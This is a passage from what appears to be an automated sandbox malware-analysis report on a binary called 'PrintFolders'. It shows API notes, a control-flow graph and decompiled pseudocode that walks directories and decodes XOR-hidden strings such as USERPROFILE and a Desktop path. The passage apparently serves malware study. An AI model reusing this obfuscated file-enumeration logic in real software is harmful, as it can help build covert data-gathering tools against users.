                                                          0x0040919b
                                                          0x0040919b
                                                          0x0040919e
                                                          0x004091a0
                                                          0x004091a0
                                                          0x004091a9
                                                          0x004091a9
                                                          0x004091ab
                                                          0x00000000
                                                          0x004091ad
                                                          0x004091ad
                                                          0x004091b0
                                                          0x004091d4
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004091b0
                                                          0x004091ab
                                                          0x00000000
                                                          0x004091b2
                                                          0x004091b2
                                                          0x004091bd
                                                          0x004091c0
                                                          0x004091c1
                                                          0x004091c7
                                                          0x004091c9
                                                          0x004091c9
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00409127
                                                          0x00409092
                                                          0x004091d6
                                                          0x004091d6
                                                          0x004091db
                                                          0x004091dc
                                                          0x004091dd
                                                          0x004091de
                                                          0x004091df
                                                          0x004091e0
                                                          0x004091e1
                                                          0x004091e6
                                                          0x004091ed
                                                          0x004091f6
                                                          0x004091fd
                                                          0x00409204
                                                          0x0040920b
                                                          0x0040920d
                                                          0x00409212
                                                          0x00409218
                                                          0x0040921e
                                                          0x00409225
                                                          0x0040922d
                                                          0x00409234
                                                          0x00409236
                                                          0x00409240
                                                          0x00409247
                                                          0x0040924c
                                                          0x0040925a
                                                          0x00409262
                                                          0x00409268
                                                          0x00409272
                                                          0x00409277
                                                          0x00409234
                                                          0x00409282
                                                          0x0040928c
                                                          0x00000000
                                                          0x00409129
                                                          0x00409129
                                                          0x0040912f
                                                          0x0040912f
                                                          0x00000000
                                                          0x00408fe3
                                                          0x00408fe8
                                                          0x00408fe8
                                                          0x00408ef7
                                                          0x00408ef7
                                                          0x00408efd
                                                          0x00408f1a
                                                          0x00408f24
                                                          0x00408eff
                                                          0x00408eff
                                                          0x00408f04
                                                          0x00408f14
                                                          0x00408f14
                                                          0x00408efd
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00406c21
                                                          0x00406c11
                                                          0x00406c00
                                                          0x00000000

                                                          APIs
                                                            • Part of subcall function 004065E0: GetCurrentProcess.KERNEL32(00000008,?), ref: 00406603
                                                            • Part of subcall function 004065E0: OpenProcessToken.ADVAPI32(00000000), ref: 0040660A
                                                            • Part of subcall function 004065E0: GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),?,0000004C,?), ref: 00406623
                                                            • Part of subcall function 004065E0: CloseHandle.KERNEL32(?), ref: 00406630
                                                          • SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,6E36C9B5,?,00000000), ref: 00406B37
                                                          • __Init_thread_footer.LIBCMT ref: 00407ED3
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: ProcessToken$CloseCurrentFolderHandleInformationInit_thread_footerOpenPath
                                                          • String ID: .exe$KC^.$OCjO$\AI\$)<
                                                          • API String ID: 3622068345-3793718068
                                                          • Opcode ID: 86dc44fb994b6dd9415c0bf608af7ba4a3155d101221ce84dd0fc1e0b537eb51
                                                          • Instruction ID: f3a4c0b65de27d6511d17ec44510e10968ea22a81531b86e1dbf32cc3aae07d1
                                                          • Opcode Fuzzy Hash: 86dc44fb994b6dd9415c0bf608af7ba4a3155d101221ce84dd0fc1e0b537eb51
                                                          • Instruction Fuzzy Hash: 87C21570A002588BEB25DB24CE447DDBB71AF56308F1042EED4497B2D2DB799B88CF59
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 2203 404490-40451a call 40bb90 2206 40453c-404555 call 402980 2203->2206 2207 40451c-40453a 2203->2207 2208 40455a-404578 FindFirstFileA 2206->2208 2207->2208 2210 40465b-404669 2208->2210 2211 40457e-404588 2208->2211 2213 4046e8 2210->2213 2214 40466b 2210->2214 2212 404590-4045ae 2211->2212 2216 4045b2-4045b7 2212->2216 2215 4046ea-4046f0 2213->2215 2217 404670-4046a7 call 40bb90 call 402890 2214->2217 2218 4046f2-4046fe 2215->2218 2219 40471e-404735 2215->2219 2216->2216 2220 4045b9-4045d5 call 4026b0 2216->2220 2244 4047c7-4047ca 2217->2244 2245 4046ad-4046b0 2217->2245 2222 404700-40470e 2218->2222 2223 404714-40471b call 40edff 2218->2223 2226 404737-40476a call 40d3f0 2219->2226 2227 40479f-4047a5 2219->2227 2241 4045d7-4045fb 2220->2241 2242 4045fd-40460a call 40ce50 2220->2242 2222->2223 2231 404827 call 413527 2222->2231 2223->2219 2246 404780-404798 call 40edff 2226->2246 2247 40476c-40477a 2226->2247 2229 404807-404826 call 40ebbf 2227->2229 2230 4047a7-4047b3 2227->2230 2237 4047b5-4047c3 2230->2237 2238 4047fd-404804 call 40edff 2230->2238 2251 40482c-4048a6 call 413527 2231->2251 2237->2231 2250 4047c5 2237->2250 2238->2229 2252 40460d-404614 2241->2252 2242->2252 2262 4047f3-4047f8 2244->2262 2263 4047cc-4047d7 2244->2263 2255 4046b2-4046bd 2245->2255 2256 4046dd-4046e6 2245->2256 2246->2227 2247->2231 2247->2246 2250->2238 2279 4048a8-4048bc call 40ef48 2251->2279 2280 4048ed-4048f4 2251->2280 2257 404642-40464e FindNextFileA 2252->2257 2258 404616-404622 2252->2258 2264 4046d3-4046da call 40edff 2255->2264 2265 4046bf-4046cd 2255->2265 2256->2213 2256->2217 2257->2212 2269 404654-404655 FindClose 2257->2269 2266 404624-404632 2258->2266 2267 404638-40463f call 40edff 2258->2267 2262->2215 2271 4047e9-4047f0 call 40edff 2263->2271 2272 4047d9-4047e7 2263->2272 2264->2256 2265->2251 2265->2264 2266->2231 2266->2267 2267->2257 2269->2210 2271->2262 2272->2251 2272->2271 2279->2280 2288 4048be-4048ea call 40f25b call 40eefe 2279->2288 2282 4048f6-4048f8 2280->2282 2283 40490d-40492e 2280->2283 2285 404900-40490b 2282->2285 2286 404930-404935 2283->2286 2285->2283 2285->2285 2286->2286 2289 404937-40497f call 4026b0 call 418b65 2286->2289 2288->2280 2298 404982-404987 2289->2298 2298->2298 2299 404989-40499f call 4026b0 2298->2299 2302 4049a1-4049ad 2299->2302 2303 4049cd-4049f3 2299->2303 2304 4049c3-4049ca call 40edff 2302->2304 2305 4049af-4049bd 2302->2305 2306 4049f5-404a14 call 4104c0 2303->2306 2307 404a16-404a20 2303->2307 2304->2303 2305->2304 2308 404d2a call 413527 2305->2308 2310 404a27-404a44 2306->2310 2307->2310 2311 404a22 call 402980 2307->2311 2318 404d2f-404d34 call 413527 2308->2318 2315 404a46-404a5a call 40ef48 2310->2315 2316 404a8b-404a92 2310->2316 2311->2310 2315->2316 2325 404a5c-404a88 call 40f25b call 40eefe 2315->2325 2319 404ad3-404aed 2316->2319 2320 404a94-404ace 2316->2320 2323 404af4-404af9 2319->2323 2320->2319 2323->2323 2327 404afb-404b2a call 4026b0 call 404490 2323->2327 2325->2316 2336 404b72-404b79 2327->2336 2337 404b2c-404b40 call 40ef48 2327->2337 2338 404b9b-404bbc 2336->2338 2339 404b7b-404b94 2336->2339 2337->2336 2343 404b42-404b6f call 40f25b call 40eefe 2337->2343 2342 404bc0-404bc5 2338->2342 2339->2338 2342->2342 2344 404bc7-404bf8 call 4026b0 call 404490 2342->2344 2343->2336 2353 404c42-404c49 2344->2353 2354 404bfa-404c0e call 40ef48 2344->2354 2356 404c4b-404c69 2353->2356 2357 404c7d-404c9e 2353->2357 2354->2353 2361 404c10-404c3f call 40f25b call 40eefe 2354->2361 2359 404c70-404c7b 2356->2359 2360 404ca0-404ca5 2357->2360 2359->2357 2359->2359 2360->2360 2362 404ca7-404cb9 call 4026b0 call 404490 2360->2362 2361->2353 2369 404cbe-404cc3 2362->2369 2371 404cc5-404cc9 2369->2371 2372 404cd8 2369->2372 2371->2372 2373 404ccb-404ccf 2371->2373 2374 404cda-404ce0 2372->2374 2373->2372 2375 404cd1-404cd6 2373->2375 2376 404ce2-404cee 2374->2376 2377 404d0a-404d29 call 40ebbf 2374->2377 2375->2374 2378 404d00-404d07 call 40edff 2376->2378 2379 404cf0-404cfe 2376->2379 2378->2377 2379->2318 2379->2378
                                                          C-Code - Quality: 69%
                                                          			E00404490(void* __ebx, void* __ecx, void* __edx) {
                                                          				intOrPtr _v8;
                                                          				int _v16;
                                                          				int _v24;
                                                          				int _v28;
                                                          				signed int _v32;
                                                          				int _v36;
                                                          				int _v40;
                                                          				signed int _v44;
                                                          				signed int _v48;
                                                          				int _v52;
                                                          				signed int _v56;
                                                          				char _v60;
                                                          				char _v64;
                                                          				long _v68;
                                                          				int _v72;
                                                          				signed int _v76;
                                                          				intOrPtr _v80;
                                                          				intOrPtr _v84;
                                                          				long _v88;
                                                          				char _v89;
                                                          				char _v90;
                                                          				char _v92;
                                                          				char _v96;
                                                          				long _v100;
                                                          				int _v104;
                                                          				char _v105;
                                                          				signed int _v112;
                                                          				intOrPtr _v116;
                                                          				int _v120;
                                                          				long _v124;
                                                          				int _v128;
                                                          				int _v144;
                                                          				char _v308;
                                                          				char _v312;
                                                          				char _v316;
                                                          				struct _WIN32_FIND_DATAA _v412;
                                                          				char _v416;
                                                          				intOrPtr _v440;
                                                          				char _v456;
                                                          				signed int _v464;
                                                          				intOrPtr _v472;
                                                          				intOrPtr _v476;
                                                          				intOrPtr _v480;
                                                          				int _v560;
                                                          				char _v564;
                                                          				int _v568;
                                                          				char _v576;
                                                          				signed int _v584;
                                                          				intOrPtr _v1592;
                                                          				int _v1600;
                                                          				int _v1604;
                                                          				long _v1608;
                                                          				int _v1612;
                                                          				int _v1628;
                                                          				struct HKL__* _v2116;
                                                          				signed int _v2120;
                                                          				int _v2124;
                                                          				int _v2160;
                                                          				intOrPtr _v2180;
                                                          				char _v2188;
                                                          				signed int _v2192;
                                                          				intOrPtr _v2204;
                                                          				intOrPtr _v2208;
                                                          				signed int _v2212;
                                                          				intOrPtr _v2248;
                                                          				intOrPtr _v2252;
                                                          				signed int _v2304;
                                                          				char _v2554;
                                                          				short _v2556;
                                                          				int* _v2572;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				void* __ebp;
                                                          				signed int _t300;
                                                          				signed int _t301;
                                                          				void* _t309;
                                                          				int _t310;
                                                          				intOrPtr _t313;
                                                          				signed int _t320;
                                                          				signed int _t321;
                                                          				intOrPtr _t324;
                                                          				signed int _t325;
                                                          				intOrPtr* _t329;
                                                          				signed int _t330;
                                                          				intOrPtr _t335;
                                                          				signed char _t336;
                                                          				signed int _t337;
                                                          				signed int _t339;
                                                          				intOrPtr _t340;
                                                          				signed char _t341;
                                                          				signed int _t342;
                                                          				signed int _t344;
                                                          				intOrPtr _t345;
                                                          				signed int _t346;
                                                          				signed int _t348;
                                                          				int _t351;
                                                          				signed int _t357;
                                                          				signed int _t358;
                                                          				signed int _t361;
                                                          				int _t364;
                                                          				intOrPtr* _t366;
                                                          				int _t370;
                                                          				int _t372;
                                                          				signed int _t378;
                                                          				signed int _t379;
                                                          				intOrPtr _t381;
                                                          				intOrPtr _t390;
                                                          				signed int _t396;
                                                          				short _t398;
                                                          				signed int _t403;
                                                          				signed int _t409;
                                                          				signed char _t415;
                                                          				signed char* _t416;
                                                          				void* _t421;
                                                          				long _t422;
                                                          				intOrPtr _t423;
                                                          				int _t424;
                                                          				intOrPtr _t428;
                                                          				intOrPtr _t429;
                                                          				int _t430;
                                                          				int _t434;
                                                          				void* _t438;
                                                          				signed int _t439;
                                                          				void* _t445;
                                                          				signed int _t455;
                                                          				int _t462;
                                                          				signed int _t467;
                                                          				void* _t478;
                                                          				intOrPtr _t482;
                                                          				void* _t489;
                                                          				signed int _t490;
                                                          				void* _t491;
                                                          				void* _t495;
                                                          				char* _t499;
                                                          				int* _t503;
                                                          				int _t506;
                                                          				long _t508;
                                                          				void* _t514;
                                                          				void* _t516;
                                                          				void* _t518;
                                                          				int* _t520;
                                                          				signed int _t522;
                                                          				int _t523;
                                                          				void* _t524;
                                                          				signed int _t528;
                                                          				signed int _t531;
                                                          				intOrPtr* _t537;
                                                          				intOrPtr* _t540;
                                                          				signed char* _t544;
                                                          				intOrPtr* _t548;
                                                          				intOrPtr* _t552;
                                                          				int _t560;
                                                          				signed int _t566;
                                                          				int _t568;
                                                          				int _t571;
                                                          				signed int* _t572;
                                                          				signed int _t582;
                                                          				intOrPtr* _t583;
                                                          				signed int _t589;
                                                          				int _t593;
                                                          				signed int _t597;
                                                          				intOrPtr _t598;
                                                          				void* _t602;
                                                          				void* _t603;
                                                          				char _t604;
                                                          				long _t608;
                                                          				int _t611;
                                                          				void* _t613;
                                                          				long _t615;
                                                          				long _t616;
                                                          				int* _t617;
                                                          				int* _t618;
                                                          				int* _t619;
                                                          				long _t620;
                                                          				void* _t621;
                                                          				void* _t625;
                                                          				signed char* _t626;
                                                          				void* _t627;
                                                          				void* _t630;
                                                          				void* _t631;
                                                          				void* _t632;
                                                          				int _t633;
                                                          				void* _t634;
                                                          				int _t635;
                                                          				void* _t636;
                                                          				signed int _t637;
                                                          				void* _t638;
                                                          				signed int _t639;
                                                          				void* _t640;
                                                          				int* _t641;
                                                          				void* _t642;
                                                          				void* _t643;
                                                          				void* _t644;
                                                          				void* _t645;
                                                          				int _t646;
                                                          				signed char* _t647;
                                                          				void* _t648;
                                                          				void* _t649;
                                                          				void* _t650;
                                                          				int _t651;
                                                          				void* _t652;
                                                          				void* _t653;
                                                          				signed int _t654;
                                                          				void* _t656;
                                                          				void* _t657;
                                                          				int _t658;
                                                          				void* _t661;
                                                          				signed int _t664;
                                                          				signed int _t667;
                                                          				signed int _t670;
                                                          				signed int _t672;
                                                          				signed int _t674;
                                                          				void* _t676;
                                                          				signed int _t679;
                                                          				void* _t680;
                                                          				signed int _t686;
                                                          				void* _t687;
                                                          				int* _t688;
                                                          				int* _t689;
                                                          				int* _t690;
                                                          				int* _t691;
                                                          				int* _t692;
                                                          				int* _t693;
                                                          				signed int _t699;
                                                          				signed int _t700;
                                                          				void* _t703;
                                                          				signed int _t705;
                                                          
                                                          				_push(__ebx);
                                                          				_t516 = _t676;
                                                          				_t679 = (_t676 - 0x00000008 & 0xfffffff8) + 4;
                                                          				_v8 =  *((intOrPtr*)(_t516 + 4));
                                                          				_t664 = _t679;
                                                          				_push(0xffffffff);
                                                          				_push(0x42c4c8);
                                                          				_push( *[fs:0x0]);
                                                          				_push(_t516);
                                                          				_t680 = _t679 - 0x188;
                                                          				_t300 =  *0x43d054; // 0x6e36c9b5
                                                          				_t301 = _t300 ^ _t664;
                                                          				_v32 = _t301;
                                                          				_push(_t643);
                                                          				_push(_t632);
                                                          				_push(_t301);
                                                          				 *[fs:0x0] =  &_v24;
                                                          				_v16 = 0;
                                                          				asm("xorps xmm0, xmm0");
                                                          				asm("movq [ebp-0x20], xmm0");
                                                          				_v36 = 0;
                                                          				_v44 = 0;
                                                          				_v40 = 0;
                                                          				_v36 = 0;
                                                          				_v16 = 1;
                                                          				E0040BB90(_t516,  &_v92, __edx, _t632, __ecx);
                                                          				_v16 = 2;
                                                          				_t610 = _v72;
                                                          				_t528 = _v76;
                                                          				if(_v72 - _t528 < 2) {
                                                          					_v416 = 0;
                                                          					E00402980(_t516,  &_v92, _t632, _t643, 2, _v416, "\\*", 2);
                                                          				} else {
                                                          					_v76 = _t528 + 2;
                                                          					_t610 = 0x2a5c;
                                                          					_t514 =  >=  ? _v92 :  &_v92;
                                                          					 *((short*)(_t514 + _t528)) = 0x2a5c;
                                                          					 *((char*)(_t514 + _t528 + 2)) = 0;
                                                          				}
                                                          				_t308 =  >=  ? _v92 :  &_v92;
                                                          				_t309 = FindFirstFileA( >=  ? _v92 :  &_v92,  &_v412); // executed
                                                          				_t644 = _t309;
                                                          				if(_t644 == 0xffffffff) {
                                                          					L16:
                                                          					_t310 = _v40;
                                                          					_t633 = _v44;
                                                          					_v416 = _t310;
                                                          					if(_t633 == _t310) {
                                                          						L24:
                                                          						_t633 = 0;
                                                          						goto L25;
                                                          					} else {
                                                          						while(1) {
                                                          							E0040BB90(_t516,  &_v68, _t610, _t633, _t633);
                                                          							_t488 =  >=  ?  *((void*)(_t516 + 8)) : _t516 + 8;
                                                          							_t644 = _v68;
                                                          							_t612 = _v52;
                                                          							_t601 =  >=  ? _t644 :  &_v68;
                                                          							_t489 = E00402890( >=  ? _t644 :  &_v68, _v52,  >=  ? _t644 :  &_v68,  >=  ?  *((void*)(_t516 + 8)) : _t516 + 8,  *((intOrPtr*)(_t516 + 0x18)));
                                                          							_t680 = _t680 + 0xc;
                                                          							_t490 = _v48;
                                                          							if(_t489 != 0xffffffff) {
                                                          								break;
                                                          							}
                                                          							if(_t490 < 0x10) {
                                                          								L23:
                                                          								_t633 = _t633 + 0x18;
                                                          								if(_t633 != _v416) {
                                                          									continue;
                                                          								} else {
                                                          									goto L24;
                                                          								}
                                                          							} else {
                                                          								_t63 = _t490 + 1; // 0x11
                                                          								_t603 = _t63;
                                                          								_t495 = _t644;
                                                          								if(_t603 < 0x1000) {
                                                          									L22:
                                                          									_push(_t603);
                                                          									E0040EDFF(_t644);
                                                          									_t680 = _t680 + 8;
                                                          									goto L23;
                                                          								} else {
                                                          									_t644 =  *(_t644 - 4);
                                                          									_t536 = _t603 + 0x23;
                                                          									if(_t495 - _t644 + 0xfffffffc > 0x1f) {
                                                          										goto L45;
                                                          									} else {
                                                          										goto L22;
                                                          									}
                                                          								}
                                                          							}
                                                          							goto L158;
                                                          						}
                                                          						__eflags = _t490 - 0x10;
                                                          						if(__eflags < 0) {
                                                          							L41:
                                                          							_t633 = 1;
                                                          							L25:
                                                          							_t611 = _v72;
                                                          							if(_t611 < 0x10) {
                                                          								L29:
                                                          								_t531 = _v44;
                                                          								_v76 = 0;
                                                          								_v72 = 0xf;
                                                          								_v92 = 0;
                                                          								if(_t531 == 0) {
                                                          									L33:
                                                          									_t612 =  *(_t516 + 0x1c);
                                                          									if(_t612 < 0x10) {
                                                          										L43:
                                                          										 *[fs:0x0] = _v24;
                                                          										_pop(_t634);
                                                          										_pop(_t645);
                                                          										return E0040EBBF(_t633, _t516, _v32 ^ _t664, _t612, _t634, _t645);
                                                          									} else {
                                                          										_t536 =  *((intOrPtr*)(_t516 + 8));
                                                          										_t612 = _t612 + 1;
                                                          										_t313 = _t536;
                                                          										if(_t612 < 0x1000) {
                                                          											L42:
                                                          											_push(_t612);
                                                          											E0040EDFF(_t536);
                                                          											goto L43;
                                                          										} else {
                                                          											_t536 =  *((intOrPtr*)(_t536 - 4));
                                                          											_t612 = _t612 + 0x23;
                                                          											if(_t313 - _t536 + 0xfffffffc > 0x1f) {
                                                          												goto L44;
                                                          											} else {
                                                          												goto L42;
                                                          											}
                                                          										}
                                                          									}
                                                          								} else {
                                                          									_push(_t531);
                                                          									E0040D3F0(_t531, _v40, _t633, _t644);
                                                          									_t644 = _v44;
                                                          									_t680 = _t680 + 4;
                                                          									_t612 = 0x2aaaaaab * (_v36 - _t644) >> 0x20 >> 2;
                                                          									_t478 = _t644;
                                                          									_t597 = (0x2aaaaaab * (_v36 - _t644) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_v36 - _t644) >> 0x20 >> 2) + ((0x2aaaaaab * (_v36 - _t644) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_v36 - _t644) >> 0x20 >> 2)) * 2 << 3;
                                                          									if(_t597 < 0x1000) {
                                                          										L32:
                                                          										_push(_t597);
                                                          										E0040EDFF(_t644);
                                                          										_t680 = _t680 + 8;
                                                          										_v44 = 0;
                                                          										_v40 = 0;
                                                          										_v36 = 0;
                                                          										goto L33;
                                                          									} else {
                                                          										_t644 =  *(_t644 - 4);
                                                          										_t536 = _t597 + 0x23;
                                                          										if(_t478 - _t644 + 0xfffffffc > 0x1f) {
                                                          											goto L44;
                                                          										} else {
                                                          											goto L32;
                                                          										}
                                                          									}
                                                          								}
                                                          							} else {
                                                          								_t598 = _v92;
                                                          								_t630 = _t611 + 1;
                                                          								_t482 = _t598;
                                                          								if(_t630 < 0x1000) {
                                                          									L28:
                                                          									_push(_t630);
                                                          									E0040EDFF(_t598);
                                                          									_t680 = _t680 + 8;
                                                          									goto L29;
                                                          								} else {
                                                          									_t536 =  *((intOrPtr*)(_t598 - 4));
                                                          									_t612 = _t630 + 0x23;
                                                          									if(_t482 -  *((intOrPtr*)(_t598 - 4)) + 0xfffffffc > 0x1f) {
                                                          										goto L44;
                                                          									} else {
                                                          										goto L28;
                                                          									}
                                                          								}
                                                          							}
                                                          						} else {
                                                          							_t89 = _t490 + 1; // 0x11
                                                          							_t602 = _t89;
                                                          							_t491 = _t644;
                                                          							__eflags = _t602 - 0x1000;
                                                          							if(__eflags < 0) {
                                                          								L40:
                                                          								_push(_t602);
                                                          								E0040EDFF(_t644);
                                                          								_t680 = _t680 + 8;
                                                          								goto L41;
                                                          							} else {
                                                          								_t644 =  *(_t644 - 4);
                                                          								_t536 = _t602 + 0x23;
                                                          								__eflags = _t491 - _t644 + 0xfffffffc - 0x1f;
                                                          								if(__eflags > 0) {
                                                          									goto L45;
                                                          								} else {
                                                          									goto L40;
                                                          								}
                                                          							}
                                                          						}
                                                          					}
                                                          				} else {
                                                          					_t633 = FindNextFileA;
                                                          					goto L5;
                                                          					do {
                                                          						L6:
                                                          						_t604 =  *_t499;
                                                          						_t499 = _t499 + 1;
                                                          					} while (_t604 != 0);
                                                          					E004026B0(_t516,  &_v68,  &(_v412.cFileName), _t499 - _t631);
                                                          					_v16 = 3;
                                                          					_t503 = _v40;
                                                          					if(_t503 == _v36) {
                                                          						_push( &_v68);
                                                          						_push(_t503);
                                                          						E0040CE50(_t516,  &_v44, _t633, _t644);
                                                          						_t610 = _v48;
                                                          					} else {
                                                          						asm("movups xmm0, [ebp-0x38]");
                                                          						 *_t503 = 0;
                                                          						_t610 = 0xf;
                                                          						_v68 = 0;
                                                          						asm("movups [eax], xmm0");
                                                          						asm("movq xmm0, [ebp-0x28]");
                                                          						asm("movq [eax+0x10], xmm0");
                                                          						_v40 = _v40 + 0x18;
                                                          					}
                                                          					_v16 = 2;
                                                          					if(_t610 < 0x10) {
                                                          						L14:
                                                          						_t506 = FindNextFileA(_t644,  &_v412); // executed
                                                          						if(_t506 != 0) {
                                                          							L5:
                                                          							_t499 =  &(_v412.cFileName);
                                                          							_v68 = 0;
                                                          							_v52 = 0;
                                                          							_t631 = _t499 + 1;
                                                          							_v48 = 0xf;
                                                          							_v68 = 0;
                                                          							goto L6;
                                                          						} else {
                                                          							FindClose(_t644); // executed
                                                          							goto L16;
                                                          						}
                                                          					} else {
                                                          						_t608 = _v68;
                                                          						_t610 = _t610 + 1;
                                                          						_t508 = _t608;
                                                          						if(_t610 < 0x1000) {
                                                          							L13:
                                                          							_push(_t610);
                                                          							E0040EDFF(_t608);
                                                          							_t680 = _t680 + 8;
                                                          							goto L14;
                                                          						} else {
                                                          							_t536 =  *((intOrPtr*)(_t608 - 4));
                                                          							_t612 = _t610 + 0x23;
                                                          							if(_t508 -  *((intOrPtr*)(_t608 - 4)) + 0xfffffffc > 0x1f) {
                                                          								L44:
                                                          								E00413527(_t516, _t612, __eflags);
                                                          								L45:
                                                          								E00413527(_t516, _t612, __eflags);
                                                          								asm("int3");
                                                          								asm("int3");
                                                          								asm("int3");
                                                          								asm("int3");
                                                          								asm("int3");
                                                          								asm("int3");
                                                          								asm("int3");
                                                          								asm("int3");
                                                          								asm("int3");
                                                          								asm("int3");
                                                          								asm("int3");
                                                          								asm("int3");
                                                          								asm("int3");
                                                          								asm("int3");
                                                          								asm("int3");
                                                          								_push(_t516);
                                                          								_t518 = _t680;
                                                          								_t686 = (_t680 - 0x00000008 & 0xfffffff8) + 4;
                                                          								_push(_t664);
                                                          								_v440 =  *((intOrPtr*)(_t518 + 4));
                                                          								_t667 = _t686;
                                                          								_push(0xffffffff);
                                                          								_push(0x42c515);
                                                          								_push( *[fs:0x0]);
                                                          								_push(_t518);
                                                          								_t687 = _t686 - 0x50;
                                                          								_t320 =  *0x43d054; // 0x6e36c9b5
                                                          								_t321 = _t320 ^ _t667;
                                                          								_v464 = _t321;
                                                          								_push(_t644);
                                                          								_push(_t633);
                                                          								_push(_t321);
                                                          								 *[fs:0x0] =  &_v456;
                                                          								_v480 = 0x7c6b7d7b;
                                                          								_v476 = 0x68617c7e;
                                                          								_v472 = 0x2e6b6267;
                                                          								_t635 =  *( *[fs:0x2c]);
                                                          								_t324 =  *0x450efc; // 0x8000000b
                                                          								__eflags = _t324 -  *((intOrPtr*)(_t635 + 4));
                                                          								if(_t324 >  *((intOrPtr*)(_t635 + 4))) {
                                                          									E0040EF48(_t324, 0x450efc);
                                                          									_t687 = _t687 + 4;
                                                          									__eflags =  *0x450efc - 0xffffffff;
                                                          									if(__eflags == 0) {
                                                          										asm("movq xmm0, [ebp-0x24]");
                                                          										asm("movq [0x450ea4], xmm0");
                                                          										 *0x450eac = _v52;
                                                          										E0040F25B(_t536, __eflags, 0x42cec0);
                                                          										E0040EEFE(0x450efc);
                                                          										_t687 = _t687 + 8;
                                                          									}
                                                          								}
                                                          								__eflags =  *0x450eaf;
                                                          								if( *0x450eaf != 0) {
                                                          									_t467 = 0;
                                                          									__eflags = 0;
                                                          									do {
                                                          										 *(_t467 + 0x450ea4) =  *(_t467 + 0x450ea4) ^ 0x0000002e;
                                                          										_t467 = _t467 + 1;
                                                          										__eflags = _t467 - 0xc;
                                                          									} while (_t467 < 0xc);
                                                          								}
                                                          								_t537 = 0x450ea4;
                                                          								_v120 = 0;
                                                          								_v104 = 0;
                                                          								_v100 = 0xf;
                                                          								_v120 = 0;
                                                          								_t108 = _t537 + 1; // 0x450ea5
                                                          								_t613 = _t108;
                                                          								do {
                                                          									_t325 =  *_t537;
                                                          									_t537 = _t537 + 1;
                                                          									__eflags = _t325;
                                                          								} while (_t325 != 0);
                                                          								E004026B0(_t518,  &_v120, 0x450ea4, _t537 - _t613);
                                                          								_v28 = 0;
                                                          								__eflags = _v100 - 0x10;
                                                          								_t328 =  >=  ? _v120 :  &_v120;
                                                          								_t329 = E00418B65(_t518, _t635, _t644, _v100 - 0x10,  >=  ? _v120 :  &_v120);
                                                          								_t614 = _t329;
                                                          								_v88 = 0;
                                                          								_t540 = _t329;
                                                          								_v72 = 0;
                                                          								_t688 = _t687 + 4;
                                                          								_v68 = 0xf;
                                                          								_v88 = 0;
                                                          								_t118 = _t540 + 1; // 0x1
                                                          								_t646 = _t118;
                                                          								do {
                                                          									_t330 =  *_t540;
                                                          									_t540 = _t540 + 1;
                                                          									__eflags = _t330;
                                                          								} while (_t330 != 0);
                                                          								E004026B0(_t518,  &_v88, _t614, _t540 - _t646);
                                                          								_v28 = 2;
                                                          								_t615 = _v100;
                                                          								__eflags = _t615 - 0x10;
                                                          								if(_t615 < 0x10) {
                                                          									L60:
                                                          									_t616 = _v68;
                                                          									_t543 = _v72;
                                                          									_v104 = 0;
                                                          									_v100 = 0xf;
                                                          									_v120 = 0;
                                                          									_push(8);
                                                          									_push("\\Desktop");
                                                          									__eflags = _t616 - _t543 - 8;
                                                          									if(_t616 - _t543 < 8) {
                                                          										_v96 = 0;
                                                          										_t543 =  &_v88;
                                                          										_push(_v96);
                                                          										_push(8);
                                                          										E00402980(_t518,  &_v88, _t635, _t646);
                                                          									} else {
                                                          										__eflags = _t616 - 0x10;
                                                          										_t130 = _t543 + 8; // 0x8
                                                          										_t660 =  >=  ? _v88 :  &_v88;
                                                          										_t661 = ( >=  ? _v88 :  &_v88) + _t543;
                                                          										_v72 = _t130;
                                                          										_push(_t661);
                                                          										E004104C0();
                                                          										_t688 =  &(_t688[3]);
                                                          										 *((char*)(_t661 + 8)) = 0;
                                                          									}
                                                          									_t335 =  *0x450f04; // 0x8000000c
                                                          									_v56 = 0x4b426d6d;
                                                          									_v52 = 0x5c4b404f;
                                                          									_v89 = 0x2e;
                                                          									__eflags = _t335 -  *((intOrPtr*)(_t635 + 4));
                                                          									if(_t335 >  *((intOrPtr*)(_t635 + 4))) {
                                                          										E0040EF48(_t335, 0x450f04);
                                                          										_t688 =  &(_t688[1]);
                                                          										__eflags =  *0x450f04 - 0xffffffff;
                                                          										if(__eflags == 0) {
                                                          											asm("movq xmm0, [ebp-0x20]");
                                                          											asm("movq [0x450f3c], xmm0");
                                                          											 *0x450f44 = _v89;
                                                          											E0040F25B(_t543, __eflags, 0x42cea0);
                                                          											E0040EEFE(0x450f04);
                                                          											_t688 =  &(_t688[2]);
                                                          										}
                                                          									}
                                                          									_t336 =  *0x450f44; // 0x0
                                                          									__eflags = _t336;
                                                          									if(_t336 != 0) {
                                                          										 *0x450f3c =  *0x450f3c ^ 0x0000002e;
                                                          										 *0x450f3d =  *0x450f3d ^ 0x0000002e;
                                                          										 *0x450f3e =  *0x450f3e ^ 0x0000002e;
                                                          										 *0x450f3f =  *0x450f3f ^ 0x0000002e;
                                                          										 *0x450f40 =  *0x450f40 ^ 0x0000002e;
                                                          										 *0x450f41 =  *0x450f41 ^ 0x0000002e;
                                                          										 *0x450f42 =  *0x450f42 ^ 0x0000002e;
                                                          										 *0x450f43 =  *0x450f43 ^ 0x0000002e;
                                                          										_t455 = _t336 ^ 0x0000002e;
                                                          										__eflags = _t455;
                                                          										 *0x450f44 = _t455;
                                                          									}
                                                          									_t689 = _t688 - 0x18;
                                                          									_t544 = 0x450f3c;
                                                          									_t617 = _t689;
                                                          									_t142 =  &(_t544[1]); // 0x450f3d
                                                          									_t647 = _t142;
